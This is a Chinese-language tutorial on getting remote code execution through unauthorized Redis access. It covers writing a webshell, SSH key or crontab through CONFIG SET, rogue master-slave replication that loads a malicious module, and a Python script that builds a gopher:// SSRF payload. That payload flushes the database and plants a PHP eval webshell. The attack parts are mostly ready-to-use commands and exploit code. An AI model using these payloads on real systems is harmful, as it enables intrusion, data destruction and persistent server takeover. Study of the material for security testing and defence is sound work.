redis rce

redis rce

0x00 基础知识

redis 简介

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

redis 命令

CONFIG SET 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启

CONFIG GET dir 获取redis目录

CONFIG GET dbfilename 获取rdb文件名

SET,GET 设置和查看一个 key 的 value

SLAVEOF 命令为 redis 设置主服务器

redis协议规范(RESP)

Redis Serialization Protocol (Redis序列化协议)

https://redis.io/topics/protocol

该协议是用于与Redis服务器通信的

redis模块

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的 redis 命令,通过写c语言并编译出.so文件。

编写恶意so文件的代码

https://github.com/RicterZ/RedisModules-ExecuteCommand

redis 未授权访问

Redis因配置不当可以未授权访问

redis3.2版本后新增 protected-mode 配置,默认是 yes,即开启,外部网络无法连接 redis 服务

环境搭建

从官网(https://redis.io/download)下载源码编译

1
2
3
4
$ wget http://download.redis.io/releases/redis-5.0.5.tar.gz
$ tar xzf redis-5.0.5.tar.gz
$ cd redis-5.0.5
$ make

编辑 redis.conf 文件,注释掉 bind 127.0.0.1, 将 protected-mode 修改为 no ,启动redis-server ./src/redis-server

然后就可以从外部网络连接 redis 服务

1
redis-cli -h 192.168.214.145

0x01 写入文件 GetShell

redis 保存的数据并只是设置的 value,写入的文件都会有大量的无用数据

但webshell、ssh 公钥、crontab 这样的文件都有一定容错性,能够成功使用

  • 写 webshell
  • 写 ssh 公钥
  • 写 crontab 计划任务

uT5gAI.png

0x02 主从复制 GetShell

Redis提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写

可以自己搭建一个 rogue redis 服务器,然后在目标 redis 上利用slaveof 做主从同步

利用 FULLRESYNC 机制(需要全量复制)完全可控文件的内容,结合加载恶意 redis 模块,实现 rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
设置 slave
SLAVEOF server port

设置redis的数据库文件

CONFIG SET dbfilename exp.so

从rogue server接收module

+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload>

加载模块

MODULE LOAD ./exp.so

exp:

0x03 结合SSRF Gopher协议

转换为gopher协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib
protocol="gopher://"
ip=""
port="6379"
shell="\n\n<?php eval($_GET[1]);?>\n\n"
filename="1.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

0x04 referer